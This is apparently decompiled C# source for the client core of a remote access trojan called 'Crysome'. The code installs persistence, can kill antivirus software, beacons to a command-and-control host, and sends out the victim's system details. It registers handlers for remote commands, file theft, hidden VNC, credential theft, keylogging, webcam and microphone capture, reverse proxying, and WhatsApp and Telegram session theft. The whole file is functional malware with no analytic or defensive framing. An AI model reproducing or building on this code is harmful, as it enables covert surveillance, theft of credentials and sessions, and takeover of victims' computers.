using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Crysome.Client.Configuration;
using Crysome.Client.Handlers;
using Crysome.Client.Network;
using Crysome.Client.SystemInfo;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client;

internal class ClientRunner
{
	private CrysomeClient client;

	private PacketChannel packetChannel;

	private volatile bool running = true;

	public void Run()
	{
		try
		{
			Persistence.Install();
		}
		catch (Exception ex)
		{
			Program.Log("Persistence skip: " + ex.Message);
		}
		if (ClientConfiguration.IsFeatureEnabled("survival"))
		{
			try
			{
				Survival.Install();
			}
			catch (Exception ex2)
			{
				Program.Log("Survival skip: " + ex2.Message);
			}
		}
		if (ClientConfiguration.IsFeatureEnabled("avkill"))
		{
			try
			{
				AVKiller.Start();
			}
			catch (Exception ex3)
			{
				Program.Log("AVKiller skip: " + ex3.Message);
			}
		}
		packetChannel = new PacketChannel();
		RegisterHandlers();
		Program.Log("Handlers registered. Entering connect loop...");
		while (running)
		{
			try
			{
				Program.Log("Connecting to " + ClientConfiguration.Host + ":" + ClientConfiguration.Port);
				Connect();
				Program.Log("Connected!");
				ReadLoop();
				Program.Log("Disconnected, retry in 5s...");
			}
			catch (Exception ex4)
			{
				Program.Log("Loop error: " + ex4.Message);
			}
			Thread.Sleep(5000);
		}
	}

	private void RegisterHandlers()
	{
		packetChannel.RegisterHandler<ClientInfoRequestPacket>(SystemHandlers.HandleClientInfo);
		packetChannel.RegisterHandler<GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
		packetChannel.RegisterHandler<PingRequestPacket>(PingHandlers.HandlePing);
		if (ClientConfiguration.IsFeatureEnabled("cmd"))
		{
			packetChannel.RegisterHandler<RunCommandRequestPacket>(CommandHandlers.HandleRunCommand);
		}
		if (ClientConfiguration.IsFeatureEnabled("direct"))
		{
			packetChannel.RegisterHandler<DirectLinkRequestPacket>(DirectLinkHandlers.HandleDirectLink);
		}
		if (ClientConfiguration.IsFeatureEnabled("file"))
		{
			packetChannel.RegisterHandler<FileTransferRequestPacket>(FileTransferHandlers.HandleFileTransfer);
			packetChannel.RegisterHandler<FtStartPacket>(FileTransferHandlers.HandleFtStart);
			packetChannel.RegisterHandler<FtChunkPacket>(FileTransferHandlers.HandleFtChunk);
			packetChannel.RegisterHandler<FtAbortPacket>(FileTransferHandlers.HandleFtAbort);
		}
		if (ClientConfiguration.IsFeatureEnabled("screen"))
		{
			packetChannel.RegisterHandler<TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
		}
		if (ClientConfiguration.IsFeatureEnabled("restart"))
		{
			packetChannel.RegisterHandler<RestartRequestPacket>(SystemHandlers.HandleRestart);
		}
		if (ClientConfiguration.IsFeatureEnabled("filemgr"))
		{
			packetChannel.RegisterHandler<GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
			packetChannel.RegisterHandler<GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
			packetChannel.RegisterHandler<ReadFileRequestPacket>(FileHandlers.HandleReadFile);
			packetChannel.RegisterHandler<WriteFileRequestPacket>(FileHandlers.HandleWriteFile);
			packetChannel.RegisterHandler<DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
			packetChannel.RegisterHandler<SendFileRequestPacket>(FileHandlers.HandleSendFile);
		}
		packetChannel.RegisterHandler<DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
		if (ClientConfiguration.IsFeatureEnabled("proxy"))
		{
			packetChannel.RegisterHandler<StartProxyRequestPacket>(ProxyHandlers.HandleStartProxy);
			packetChannel.RegisterHandler<StartReverseProxyPacket>(ProxyHandlers.HandleStartReverseProxy);
			packetChannel.RegisterHandler<StopProxyRequestPacket>(ProxyHandlers.HandleStopProxy);
			packetChannel.RegisterHandler<ReverseProxyStartPacket>(ProxyHandlers.HandleReverseProxyStart);
			packetChannel.RegisterHandler<ReverseProxyDataPacket>(ProxyHandlers.HandleReverseProxyData);
			packetChannel.RegisterHandler<ReverseProxyEndPacket>(ProxyHandlers.HandleReverseProxyEnd);
		}
		if (ClientConfiguration.IsFeatureEnabled("proc"))
		{
			packetChannel.RegisterHandler<GetProcessListRequestPacket>(ProcessHandlers.HandleGetProcessList);
			packetChannel.RegisterHandler<KillProcessRequestPacket>(ProcessHandlers.HandleKillProcess);
		}
		if (ClientConfiguration.IsFeatureEnabled("audio"))
		{
			packetChannel.RegisterHandler<RequestAudioPacket>(AudioHandlers.HandleRequestAudio);
			packetChannel.RegisterHandler<GetAudioDevicesPacket>(AudioHandlers.HandleGetAudioDevices);
			packetChannel.RegisterHandler<StartAudioStreamPacket>(AudioHandlers.HandleStartAudioStream);
			packetChannel.RegisterHandler<StopAudioStreamPacket>(AudioHandlers.HandleStopAudioStream);
		}
		if (ClientConfiguration.IsFeatureEnabled("cam"))
		{
			packetChannel.RegisterHandler<RequestCameraFramePacket>(CameraHandlers.HandleRequestCameraFrame);
			packetChannel.RegisterHandler<GetCameraDevicesPacket>(CameraHandlers.HandleGetCameraDevices);
		}
		if (ClientConfiguration.IsFeatureEnabled("rdp"))
		{
			packetChannel.RegisterHandler<GetScreensRequestPacket>(RemoteDesktopHandlers.HandleGetScreens);
			packetChannel.RegisterHandler<StartRemoteDesktopPacket>(RemoteDesktopHandlers.HandleStartRemoteDesktop);
			packetChannel.RegisterHandler<StopRemoteDesktopPacket>(RemoteDesktopHandlers.HandleStopRemoteDesktop);
			packetChannel.RegisterHandler<RemoteInputPacket>(RemoteDesktopHandlers.HandleRemoteInput);
			packetChannel.RegisterHandler<RdpSetQualityPacket>(RemoteDesktopHandlers.HandleRdpSetQuality);
		}
		if (ClientConfiguration.IsFeatureEnabled("hvnc"))
		{
			packetChannel.RegisterHandler<StartHvncPacket>(HvncHandlers.HandleStartHvnc);
			packetChannel.RegisterHandler<StopHvncPacket>(HvncHandlers.HandleStopHvnc);
			packetChannel.RegisterHandler<HvncInputPacket>(HvncHandlers.HandleHvncInput);
			packetChannel.RegisterHandler<HvncRunRequestPacket>(HvncHandlers.HandleHvncRunRequest);
		}
		if (ClientConfiguration.IsFeatureEnabled("cred"))
		{
			packetChannel.RegisterHandler<RequestCredentialsPacket>(CredentialsHandlers.HandleRequestCredentials);
		}
		if (ClientConfiguration.IsFeatureEnabled("keylog"))
		{
			packetChannel.RegisterHandler<StartKeyloggerPacket>(KeyloggerHandlers.HandleStartKeylogger);
			packetChannel.RegisterHandler<StopKeyloggerPacket>(KeyloggerHandlers.HandleStopKeylogger);
		}
		if (ClientConfiguration.IsFeatureEnabled("chat"))
		{
			packetChannel.RegisterHandler<ChatMessagePacket>(ChatHandlers.HandleChatMessage);
		}
		packetChannel.RegisterHandler<WhatsAppSessionRequestPacket>(WhatsAppHandlers.HandleWhatsAppSessionRequest);
		packetChannel.RegisterHandler<TelegramSessionRequestPacket>(TelegramHandlers.HandleTelegramSessionRequest);
	}

	private void Connect()
	{
		//IL_0078: Unknown result type (might be due to invalid IL or missing references)
		//IL_0082: Expected O, but got Unknown
		if (!IPAddress.TryParse(ClientConfiguration.Host, out var address))
		{
			Program.Log("Resolving: " + ClientConfiguration.Host);
			IPHostEntry hostEntry = Dns.GetHostEntry(ClientConfiguration.Host);
			if (hostEntry.AddressList.Length == 0)
			{
				throw new Exception("DNS failed for " + ClientConfiguration.Host);
			}
			address = hostEntry.AddressList[0];
			Program.Log("Resolved to " + address);
		}
		while (running)
		{
			try
			{
				client = new CrysomeClient();
				Program.Log("Connecting (RUDP / .NET Framework) to " + address?.ToString() + ":" + ClientConfiguration.Port + "...");
				client.Connect(address, ClientConfiguration.Port);
				if (client.IsConnected)
				{
					Program.Log("CONNECTED. Sending client info...");
					SendClientInfo();
					break;
				}
			}
			catch (SocketException ex)
			{
				Program.Log("Socket: " + ex.SocketErrorCode.ToString() + " " + ex.Message);
			}
			catch (Exception ex2)
			{
				Program.Log("ConnErr: " + ex2.Message);
			}
			Program.Log("Retry in 10s...");
			Thread.Sleep(10000);
		}
	}

	private void SendClientInfo()
	{
		//IL_007c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0082: Expected O, but got Unknown
		try
		{
			SystemInformation systemInformation = SystemInformation.Get();
			ClientInfoResponsePacket val = new ClientInfoResponsePacket(ClientConfiguration.Identifier, client.RemoteAddress?.Address?.ToString() ?? "0.0.0.0", client.RemoteAddress?.Port ?? 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, "");
			client.SendPacket((IPacket)(object)val);
			Program.Log("Client info sent: " + systemInformation.UserName + " / " + systemInformation.OperatingSystem + " / " + systemInformation.CountryCode);
			KeyloggerHandlers.UploadOfflineDataIfAny(client);
		}
		catch (Exception ex)
		{
			Program.Log("SendClientInfo error: " + ex.Message);
		}
	}

	private static bool IsCamMicPacket(string name)
	{
		if (name != null)
		{
			if (!name.Contains("Camera") && !name.Contains("Audio"))
			{
				return name.Contains("Mic");
			}
			return true;
		}
		return false;
	}

	private void ReadLoop()
	{
		while (running && client.IsConnected)
		{
			try
			{
				IPacket val = client.ReadPacket();
				string text = ((object)val)?.GetType().Name ?? "null";
				if (IsCamMicPacket(text))
				{
					Program.Log("[CAM/MIC] Rx: " + text);
				}
				packetChannel.HandlePacket(client, val);
				if (IsCamMicPacket(text))
				{
					Program.Log("[CAM/MIC] Handled OK: " + text);
				}
			}
			catch (IOException ex)
			{
				Program.Log("IO: " + ex.Message);
				break;
			}
			catch (Exception ex2)
			{
				Program.Log("Read ERROR: " + ex2.GetType().Name + " " + ex2.Message);
				Program.Log("Stack: " + ex2.StackTrace);
				if (ex2.InnerException != null)
				{
					Program.Log("Inner: " + ex2.InnerException.Message);
				}
			}
		}
		try
		{
			client.Disconnect();
		}
		catch
		{
		}
	}
}
